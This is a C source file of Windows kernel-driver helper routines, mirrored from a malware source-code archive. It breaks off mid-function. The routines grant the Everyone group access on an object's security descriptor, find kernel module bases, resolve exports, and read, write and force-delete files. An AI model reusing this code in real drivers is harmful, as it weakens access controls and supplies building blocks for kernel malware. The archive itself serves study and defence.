mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
900263ea6f
n/a
1496 lines
44 KiB
C
1496 lines
44 KiB
C
#include "stdafx.h"
|
|
//--------------------------------------------------------------------------------------
|
|
#ifndef _NTIFS_INCLUDED_
|
|
|
|
typedef struct _ACE_HEADER
|
|
{
|
|
UCHAR AceType;
|
|
UCHAR AceFlags;
|
|
USHORT AceSize;
|
|
|
|
} ACE_HEADER;
|
|
typedef ACE_HEADER *PACE_HEADER;
|
|
|
|
typedef struct _ACCESS_ALLOWED_ACE
|
|
{
|
|
ACE_HEADER Header;
|
|
ACCESS_MASK Mask;
|
|
ULONG SidStart;
|
|
|
|
} ACCESS_ALLOWED_ACE;
|
|
|
|
typedef struct _SID
|
|
{
|
|
UCHAR Revision;
|
|
UCHAR SubAuthorityCount;
|
|
SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
|
|
|
|
ULONG SubAuthority[ANYSIZE_ARRAY];
|
|
|
|
} SID, *PISID;
|
|
|
|
#endif
|
|
|
|
BOOLEAN SetObjectSecurityWorld(HANDLE hObject, ACCESS_MASK AccessMask)
|
|
{
|
|
BOOLEAN bRet = FALSE;
|
|
PSECURITY_DESCRIPTOR Descr = NULL;
|
|
|
|
ULONG SdLength = 0;
|
|
// query security descriptor length
|
|
NTSTATUS ns = ZwQuerySecurityObject(hObject, DACL_SECURITY_INFORMATION, NULL, 0, &SdLength);
|
|
if (ns != STATUS_BUFFER_TOO_SMALL)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwQuerySecurityObject() fails; status: 0x%.8x\n", ns);
|
|
return FALSE;
|
|
}
|
|
|
|
// allocate memory for security descriptor
|
|
Descr = (PSECURITY_DESCRIPTOR)M_ALLOC(SdLength);
|
|
if (Descr)
|
|
{
|
|
// query security descriptor
|
|
ns = ZwQuerySecurityObject(hObject, DACL_SECURITY_INFORMATION, Descr, SdLength, &SdLength);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
BOOLEAN DaclPresent = FALSE, DaclDefaulted = FALSE;
|
|
PACL OldDacl = NULL;
|
|
|
|
// get descriptor's DACL
|
|
ns = RtlGetDaclSecurityDescriptor(
|
|
Descr,
|
|
&DaclPresent,
|
|
&OldDacl,
|
|
&DaclDefaulted
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
#define SID_REVISION (1) // Current revision level
|
|
|
|
#define SECURITY_WORLD_SID_AUTHORITY {0,0,0,0,0,1}
|
|
#define SECURITY_WORLD_RID (0x00000000L)
|
|
|
|
SID Sid;
|
|
SID_IDENTIFIER_AUTHORITY SidAuth = SECURITY_WORLD_SID_AUTHORITY;
|
|
|
|
RtlZeroMemory(&Sid, sizeof(Sid));
|
|
|
|
// initialize SID
|
|
Sid.Revision = SID_REVISION;
|
|
Sid.SubAuthorityCount = 1;
|
|
Sid.IdentifierAuthority = SidAuth;
|
|
Sid.SubAuthority[0] = SECURITY_WORLD_RID;
|
|
|
|
if (RtlValidSid(&Sid))
|
|
{
|
|
PACL NewDacl = NULL;
|
|
// calculate new DACL size
|
|
ULONG NewDaclSize = sizeof(ACCESS_ALLOWED_ACE) + RtlLengthSid(&Sid);
|
|
if (DaclPresent && OldDacl)
|
|
{
|
|
NewDaclSize += OldDacl->AclSize;
|
|
}
|
|
|
|
// allocate new DACL
|
|
NewDacl = (PACL)M_ALLOC(NewDaclSize);
|
|
if (NewDacl)
|
|
{
|
|
// copy current DACL
|
|
RtlCopyMemory(NewDacl, OldDacl, OldDacl->AclSize);
|
|
NewDacl->AclSize = (USHORT)NewDaclSize;
|
|
|
|
ns = RtlAddAccessAllowedAce(NewDacl, ACL_REVISION, AccessMask, &Sid);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
ns = RtlSelfRelativeToAbsoluteSD2(Descr, &SdLength);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
// update descriptor's DACL
|
|
ns = RtlSetDaclSecurityDescriptor(Descr, TRUE, NewDacl, DaclDefaulted);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
// set new security descriptor
|
|
ns = ZwSetSecurityObject(hObject, DACL_SECURITY_INFORMATION, Descr);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
bRet = TRUE;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwSetSecurityObject() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "RtlSetDaclSecurityDescriptor() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "RtlSelfRelativeToAbsoluteSD2() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "RtlAddAccessAllowedAce() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
M_FREE(NewDacl);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "RtlGetDaclSecurityDescriptor() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwQuerySecurityObject() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
M_FREE(Descr);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
|
|
}
|
|
|
|
return bRet;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
PVOID KernelGetModuleBase(char *ModuleName)
|
|
{
|
|
PVOID pModuleBase = NULL;
|
|
|
|
wchar_t *wcHalNames[] =
|
|
{
|
|
L"hal.dll", // Non-ACPI PIC HAL
|
|
L"halacpi.dll", // ACPI PIC HAL
|
|
L"halapic.dll", // Non-ACPI APIC UP HAL
|
|
L"halmps.dll", // Non-ACPI APIC MP HAL
|
|
L"halaacpi.dll", // ACPI APIC UP HAL
|
|
L"halmacpi.dll" // ACPI APIC MP HAL
|
|
};
|
|
|
|
|
|
#define HAL_NAMES_NUM 6
|
|
|
|
|
|
#define NT_NAMES_NUM 4
|
|
wchar_t *wcNtNames[] =
|
|
{
|
|
L"ntoskrnl.exe", // UP
|
|
L"ntkrnlpa.exe", // UP PAE
|
|
L"ntkrnlmp.exe", // MP
|
|
L"ntkrpamp.exe" // MP PAE
|
|
};
|
|
|
|
|
|
|
|
UNICODE_STRING usCommonHalName, usCommonNtName;
|
|
|
|
PRTL_PROCESS_MODULES Info = NULL;
|
|
|
|
RtlInitUnicodeString(&usCommonHalName, L"hal.dll");
|
|
RtlInitUnicodeString(&usCommonNtName, L"ntoskrnl.exe");
|
|
|
|
|
|
Info = (PRTL_PROCESS_MODULES)GetSysInf(SystemModuleInformation);
|
|
if (Info)
|
|
{
|
|
NTSTATUS ns = STATUS_UNSUCCESSFUL;
|
|
ANSI_STRING asModuleName;
|
|
UNICODE_STRING usModuleName;
|
|
|
|
RtlInitAnsiString(&asModuleName, ModuleName);
|
|
|
|
ns = RtlAnsiStringToUnicodeString(&usModuleName, &asModuleName, TRUE);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
ULONG i = 0;
|
|
for (i = 0; i < Info->NumberOfModules; i++)
|
|
{
|
|
NTSTATUS ns = STATUS_UNSUCCESSFUL;
|
|
ANSI_STRING asEnumModuleName;
|
|
UNICODE_STRING usEnumModuleName;
|
|
|
|
RtlInitAnsiString(
|
|
&asEnumModuleName,
|
|
(char *)Info->Modules[i].FullPathName + Info->Modules[i].OffsetToFileName
|
|
);
|
|
|
|
ns = RtlAnsiStringToUnicodeString(&usEnumModuleName, &asEnumModuleName, TRUE);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
if (RtlEqualUnicodeString(&usModuleName, &usCommonHalName, TRUE))
|
|
{
|
|
int i_m = 0;
|
|
// hal.dll passed as module name
|
|
for (i_m = 0; i_m < HAL_NAMES_NUM; i_m++)
|
|
{
|
|
UNICODE_STRING usHalName;
|
|
RtlInitUnicodeString(&usHalName, wcHalNames[i_m]);
|
|
|
|
// compare module name from list with known HAL module name
|
|
if (RtlEqualUnicodeString(&usEnumModuleName, &usHalName, TRUE))
|
|
{
|
|
pModuleBase = (PVOID)Info->Modules[i].ImageBase;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
else if (RtlEqualUnicodeString(&usModuleName, &usCommonNtName, TRUE))
|
|
{
|
|
int i_m = 0;
|
|
// ntoskrnl.exe passed as module name
|
|
for (i_m = 0; i_m < NT_NAMES_NUM; i_m++)
|
|
{
|
|
UNICODE_STRING usNtName;
|
|
RtlInitUnicodeString(&usNtName, wcNtNames[i_m]);
|
|
|
|
// compare module name from list with known kernel module name
|
|
if (RtlEqualUnicodeString(&usEnumModuleName, &usNtName, TRUE))
|
|
{
|
|
pModuleBase = (PVOID)Info->Modules[i].ImageBase;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
else if (RtlEqualUnicodeString(&usModuleName, &usEnumModuleName, TRUE))
|
|
{
|
|
pModuleBase = (PVOID)Info->Modules[i].ImageBase;
|
|
}
|
|
|
|
RtlFreeUnicodeString(&usEnumModuleName);
|
|
|
|
if (pModuleBase)
|
|
{
|
|
// module is found
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
RtlFreeUnicodeString(&usModuleName);
|
|
}
|
|
|
|
ExFreePool(Info);
|
|
}
|
|
|
|
return pModuleBase;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
ULONG KernelGetExportAddress(PVOID Image, char *lpszFunctionName)
|
|
{
|
|
__try
|
|
{
|
|
PIMAGE_EXPORT_DIRECTORY pExport = NULL;
|
|
|
|
PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32)
|
|
((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
|
|
|
|
if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386)
|
|
{
|
|
// 32-bit image
|
|
if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
|
|
{
|
|
pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(
|
|
Image,
|
|
pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
|
);
|
|
}
|
|
}
|
|
else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
|
|
{
|
|
// 64-bit image
|
|
PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64)
|
|
((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
|
|
|
|
if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
|
|
{
|
|
pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(
|
|
Image,
|
|
pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
|
);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unkown machine type\n");
|
|
return 0;
|
|
}
|
|
|
|
if (pExport)
|
|
{
|
|
PULONG AddressOfFunctions = (PULONG)RVATOVA(Image, pExport->AddressOfFunctions);
|
|
PSHORT AddrOfOrdinals = (PSHORT)RVATOVA(Image, pExport->AddressOfNameOrdinals);
|
|
PULONG AddressOfNames = (PULONG)RVATOVA(Image, pExport->AddressOfNames);
|
|
|
|
ULONG i = 0;
|
|
for (i = 0; i < pExport->NumberOfFunctions; i++)
|
|
{
|
|
if (!strcmp((char *)RVATOVA(Image, AddressOfNames[i]), lpszFunctionName))
|
|
{
|
|
return AddressOfFunctions[AddrOfOrdinals[i]];
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "WARNING: Export directory not found\n");
|
|
}
|
|
}
|
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() EXCEPTION\n");
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
POBJECT_NAME_INFORMATION GetObjectName(PVOID pObject)
|
|
{
|
|
ULONG BuffSize = 0x100;
|
|
POBJECT_NAME_INFORMATION ObjNameInfo;
|
|
NTSTATUS ns = STATUS_UNSUCCESSFUL;
|
|
|
|
while (TRUE)
|
|
{
|
|
if ((ObjNameInfo = (POBJECT_NAME_INFORMATION)ExAllocatePool(NonPagedPool, BuffSize)) == NULL)
|
|
return FALSE;
|
|
|
|
ns = ObQueryNameString(pObject, ObjNameInfo, BuffSize, &BuffSize);
|
|
|
|
if (ns == STATUS_INFO_LENGTH_MISMATCH)
|
|
{
|
|
ExFreePool(ObjNameInfo);
|
|
BuffSize += 0x100;
|
|
}
|
|
else
|
|
break;
|
|
}
|
|
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
return ObjNameInfo;
|
|
}
|
|
|
|
if (ObjNameInfo)
|
|
ExFreePool(ObjNameInfo);
|
|
|
|
return NULL;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
// get object name by its handle
|
|
POBJECT_NAME_INFORMATION GetObjectNameByHandle(HANDLE hObject)
|
|
{
|
|
PVOID pObject;
|
|
NTSTATUS ns;
|
|
POBJECT_NAME_INFORMATION ObjNameInfo = NULL;
|
|
|
|
ns = ObReferenceObjectByHandle(hObject, 0, 0, KernelMode, &pObject, NULL);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
ObjNameInfo = GetObjectName(pObject);
|
|
ObDereferenceObject(pObject);
|
|
}
|
|
else
|
|
DbgMsg(__FILE__, __LINE__, "ObReferenceObjectByHandle() fails; status: 0x%.8x\n", ns);
|
|
|
|
return ObjNameInfo;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
POBJECT_NAME_INFORMATION GetFullNtPath(PUNICODE_STRING Name)
|
|
{
|
|
NTSTATUS ns;
|
|
OBJECT_ATTRIBUTES ObjAttr;
|
|
HANDLE hFile;
|
|
IO_STATUS_BLOCK StatusBlock;
|
|
POBJECT_NAME_INFORMATION ObjNameInf;
|
|
|
|
InitializeObjectAttributes(&ObjAttr, Name, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);
|
|
|
|
ns = ZwOpenFile(
|
|
&hFile,
|
|
FILE_READ_DATA | SYNCHRONIZE,
|
|
&ObjAttr,
|
|
&StatusBlock,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
|
FILE_SYNCHRONOUS_IO_NONALERT
|
|
);
|
|
if (!NT_SUCCESS(ns))
|
|
{
|
|
return NULL;
|
|
}
|
|
|
|
ObjNameInf = GetObjectNameByHandle(hFile);
|
|
|
|
ZwClose(hFile);
|
|
|
|
return ObjNameInf;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOLEAN GetNormalizedModulePath(PANSI_STRING asPath, PANSI_STRING asNormalizedPath)
|
|
{
|
|
NTSTATUS ns = STATUS_UNSUCCESSFUL;
|
|
BOOLEAN bRet = FALSE;
|
|
ANSI_STRING asFullPath;
|
|
UNICODE_STRING usPath;
|
|
char *lpszWnd = "\\WINDOWS\\", *lpszNt = "\\WINNT\\", *lpszLetter = "\\SystemRoot\\";
|
|
char *lpszDrivers = "system32\\drivers\\";
|
|
|
|
if (!strncmp(asPath->Buffer, lpszWnd, min(strlen(lpszWnd), asPath->Length)) ||
|
|
!strncmp(asPath->Buffer, lpszNt, min(strlen(lpszNt), asPath->Length)))
|
|
{
|
|
ULONG Ptr = 0;
|
|
ULONG FullPathLen = 0;
|
|
char *lpszFullPath = NULL;
|
|
if (!strncmp(asPath->Buffer, lpszWnd, strlen(lpszWnd)))
|
|
{
|
|
Ptr = (ULONG)strlen(lpszWnd);
|
|
}
|
|
else if (!strncmp(asPath->Buffer, lpszNt, strlen(lpszNt)))
|
|
{
|
|
Ptr = (ULONG)strlen(lpszNt);
|
|
}
|
|
|
|
FullPathLen = asPath->Length - Ptr + strlen(lpszLetter) + 1;
|
|
lpszFullPath = (char *)ExAllocatePool(NonPagedPool, FullPathLen);
|
|
if (lpszFullPath)
|
|
{
|
|
RtlZeroMemory(lpszFullPath, FullPathLen);
|
|
|
|
strcpy(lpszFullPath, lpszLetter);
|
|
strncat(lpszFullPath, asPath->Buffer + Ptr, asPath->Length);
|
|
|
|
RtlInitAnsiString(&asFullPath, lpszFullPath);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
|
|
return FALSE;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
asFullPath.Buffer = asPath->Buffer;
|
|
asFullPath.Length = asPath->Length;
|
|
asFullPath.MaximumLength = asPath->MaximumLength;
|
|
}
|
|
|
|
ns = RtlAnsiStringToUnicodeString(&usPath, &asFullPath, TRUE);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
POBJECT_NAME_INFORMATION ObjName = GetFullNtPath(&usPath);
|
|
if (ObjName)
|
|
{
|
|
NTSTATUS ns = RtlUnicodeStringToAnsiString(asNormalizedPath, &ObjName->Name, TRUE);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
bRet = TRUE;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
ExFreePool(ObjName);
|
|
}
|
|
|
|
RtlFreeUnicodeString(&usPath);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
if (!bRet)
|
|
{
|
|
ULONG Offset = 0;
|
|
|
|
ULONG i = 0;
|
|
for (i = 0; i < asFullPath.Length; i++)
|
|
{
|
|
if (asFullPath.Buffer[i] == '\\')
|
|
{
|
|
Offset = i + 1;
|
|
}
|
|
}
|
|
|
|
if (Offset == 0)
|
|
{
|
|
ULONG FullPathLen = asFullPath.Length + strlen(lpszLetter) + strlen(lpszDrivers) + 1;
|
|
char *lpszFullPath = (char *)ExAllocatePool(NonPagedPool, FullPathLen);
|
|
if (lpszFullPath)
|
|
{
|
|
RtlZeroMemory(lpszFullPath, FullPathLen);
|
|
|
|
strcpy(lpszFullPath, lpszLetter);
|
|
strcat(lpszFullPath, lpszDrivers);
|
|
strncat(lpszFullPath, asFullPath.Buffer, asFullPath.Length);
|
|
|
|
if (asFullPath.Buffer != asPath->Buffer)
|
|
{
|
|
RtlFreeAnsiString(&asFullPath);
|
|
}
|
|
|
|
RtlInitAnsiString(&asFullPath, lpszFullPath);
|
|
|
|
ns = RtlAnsiStringToUnicodeString(&usPath, &asFullPath, TRUE);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
POBJECT_NAME_INFORMATION ObjName = GetFullNtPath(&usPath);
|
|
if (ObjName)
|
|
{
|
|
ns = RtlUnicodeStringToAnsiString(asNormalizedPath, &ObjName->Name, TRUE);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
bRet = TRUE;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
ExFreePool(ObjName);
|
|
}
|
|
|
|
RtlFreeUnicodeString(&usPath);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
|
|
}
|
|
}
|
|
}
|
|
|
|
if (asFullPath.Buffer != asPath->Buffer)
|
|
{
|
|
RtlFreeAnsiString(&asFullPath);
|
|
}
|
|
|
|
return bRet;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
PVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass)
|
|
{
|
|
NTSTATUS ns;
|
|
ULONG RetSize, Size = 0x100;
|
|
PVOID Info;
|
|
|
|
while (TRUE)
|
|
{
|
|
if ((Info = ExAllocatePool(NonPagedPool, Size)) == NULL)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
|
|
return NULL;
|
|
}
|
|
|
|
RetSize = 0;
|
|
ns = ZwQuerySystemInformation(InfoClass, Info, Size, &RetSize);
|
|
if (ns == STATUS_INFO_LENGTH_MISMATCH)
|
|
{
|
|
ExFreePool(Info);
|
|
Info = NULL;
|
|
|
|
if (RetSize > 0)
|
|
{
|
|
Size = RetSize + 0x100;
|
|
}
|
|
else
|
|
break;
|
|
}
|
|
else
|
|
break;
|
|
}
|
|
|
|
if (!NT_SUCCESS(ns))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwQuerySystemInformation() fails; status: 0x%.8x\n", ns);
|
|
|
|
if (Info)
|
|
ExFreePool(Info);
|
|
|
|
return NULL;
|
|
}
|
|
|
|
return Info;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOLEAN AllocUnicodeString(PUNICODE_STRING us, USHORT MaximumLength)
|
|
{
|
|
ULONG ulMaximumLength = MaximumLength;
|
|
|
|
if (MaximumLength > 0)
|
|
{
|
|
if ((us->Buffer = (PWSTR)ExAllocatePool(NonPagedPool, ulMaximumLength)) == NULL)
|
|
return FALSE;
|
|
|
|
RtlZeroMemory(us->Buffer, ulMaximumLength);
|
|
|
|
us->Length = 0;
|
|
us->MaximumLength = MaximumLength;
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOLEAN AppendUnicodeToString(PUNICODE_STRING Dest, PCWSTR Source, USHORT Len)
|
|
{
|
|
ULONG ulLen = Len;
|
|
|
|
if (Dest->MaximumLength >= Dest->Length + Len)
|
|
{
|
|
RtlCopyMemory((PUCHAR)Dest->Buffer + Dest->Length, Source, ulLen);
|
|
Dest->Length += Len;
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
ULONG GetFileSize(HANDLE hFile, PULONG FileSizeHigh)
|
|
{
|
|
FILE_STANDARD_INFORMATION FileStandard;
|
|
IO_STATUS_BLOCK IoStatusBlock;
|
|
|
|
NTSTATUS ns = ZwQueryInformationFile(
|
|
hFile,
|
|
&IoStatusBlock,
|
|
&FileStandard,
|
|
sizeof(FILE_STANDARD_INFORMATION),
|
|
FileStandardInformation
|
|
);
|
|
if (!NT_SUCCESS(ns))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwQueryInformationFile() fails; status: 0x%.8x\n", ns);
|
|
return -1;
|
|
}
|
|
|
|
if (FileSizeHigh != NULL)
|
|
*FileSizeHigh = FileStandard.EndOfFile.u.HighPart;
|
|
|
|
return FileStandard.EndOfFile.u.LowPart;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOLEAN ReadFromFile(PUNICODE_STRING FileName, PVOID *Data, PULONG DataSize)
|
|
{
|
|
BOOLEAN bRet = FALSE;
|
|
NTSTATUS ns;
|
|
OBJECT_ATTRIBUTES ObjAttr;
|
|
HANDLE hFile;
|
|
IO_STATUS_BLOCK StatusBlock;
|
|
|
|
*Data = NULL;
|
|
*DataSize = 0;
|
|
|
|
InitializeObjectAttributes(&ObjAttr, FileName,
|
|
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);
|
|
|
|
ns = ZwOpenFile(
|
|
&hFile,
|
|
FILE_READ_DATA | SYNCHRONIZE,
|
|
&ObjAttr,
|
|
&StatusBlock,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
|
FILE_SYNCHRONOUS_IO_NONALERT
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
ULONG FileSize = GetFileSize(hFile, NULL);
|
|
if (FileSize > 0)
|
|
{
|
|
PVOID FileData = ExAllocatePool(NonPagedPool, FileSize);
|
|
if (FileData)
|
|
{
|
|
RtlZeroMemory(FileData, FileSize);
|
|
|
|
ns = ZwReadFile(hFile, 0, NULL, NULL, &StatusBlock, FileData, FileSize, 0, NULL);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
bRet = TRUE;
|
|
*Data = FileData;
|
|
*DataSize = FileSize;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwReadFile() fails; status: 0x%.8x\n", ns);
|
|
ExFreePool(FileData);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
|
|
}
|
|
}
|
|
|
|
ZwClose(hFile);
|
|
}
|
|
|
|
return bRet;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOLEAN DumpToFile(PUNICODE_STRING FileName, PVOID Data, ULONG DataSize)
|
|
{
|
|
BOOLEAN bRet = FALSE;
|
|
NTSTATUS ns;
|
|
OBJECT_ATTRIBUTES ObjAttr;
|
|
HANDLE hFile;
|
|
IO_STATUS_BLOCK StatusBlock;
|
|
|
|
InitializeObjectAttributes(&ObjAttr, FileName,
|
|
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);
|
|
|
|
ns = ZwCreateFile(
|
|
&hFile,
|
|
FILE_ALL_ACCESS | SYNCHRONIZE,
|
|
&ObjAttr,
|
|
&StatusBlock,
|
|
NULL,
|
|
FILE_ATTRIBUTE_NORMAL,
|
|
0,
|
|
FILE_OVERWRITE_IF,
|
|
FILE_SYNCHRONOUS_IO_NONALERT,
|
|
NULL,
|
|
0
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
ns = ZwWriteFile(hFile, NULL, NULL, NULL, &StatusBlock, Data, DataSize, NULL, NULL);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
bRet = TRUE;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwWriteFile() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
ZwClose(hFile);
|
|
}
|
|
|
|
return bRet;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOLEAN DeleteFile(PUNICODE_STRING usFileName)
|
|
{
|
|
BOOLEAN bRet = FALSE;
|
|
OBJECT_ATTRIBUTES ObjAttr;
|
|
IO_STATUS_BLOCK IoStatusBlock;
|
|
HANDLE FileHandle;
|
|
NTSTATUS ns = STATUS_UNSUCCESSFUL;
|
|
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): '%wZ'\n", usFileName);
|
|
|
|
InitializeObjectAttributes(&ObjAttr, usFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
|
|
|
|
// open file
|
|
ns = ZwCreateFile(
|
|
&FileHandle,
|
|
DELETE,
|
|
&ObjAttr,
|
|
&IoStatusBlock,
|
|
NULL,
|
|
FILE_ATTRIBUTE_NORMAL,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
|
FILE_OPEN,
|
|
FILE_NON_DIRECTORY_FILE,
|
|
NULL,
|
|
0
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
FILE_BASIC_INFORMATION FileBsicInfo;
|
|
FILE_DISPOSITION_INFORMATION FileDispInfo;
|
|
|
|
ns = ZwQueryInformationFile(
|
|
FileHandle,
|
|
&IoStatusBlock,
|
|
&FileBsicInfo,
|
|
sizeof(FileBsicInfo),
|
|
FileBasicInformation
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
// chenge file attributes to normal
|
|
FileBsicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
|
|
|
|
ns = ZwSetInformationFile(
|
|
FileHandle,
|
|
&IoStatusBlock,
|
|
&FileBsicInfo,
|
|
sizeof(FileBsicInfo),
|
|
FileBasicInformation
|
|
);
|
|
if (!NT_SUCCESS(ns))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwSetInformationFile() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwQueryInformationFile() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
|
|
FileDispInfo.DeleteFile = TRUE;
|
|
|
|
// ... and delete it
|
|
ns = ZwSetInformationFile(
|
|
FileHandle,
|
|
&IoStatusBlock,
|
|
&FileDispInfo,
|
|
sizeof(FILE_DISPOSITION_INFORMATION),
|
|
FileDispositionInformation
|
|
);
|
|
if (!NT_SUCCESS(ns))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwSetInformationFile() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
else
|
|
bRet = TRUE;
|
|
|
|
ZwClose(FileHandle);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwCreateFile() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
return bRet;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOLEAN LoadImageAsDataFile(PUNICODE_STRING usName, PVOID *Image, PULONG MappedImageSize)
|
|
{
|
|
PVOID Data = NULL;
|
|
ULONG DataSize = 0;
|
|
|
|
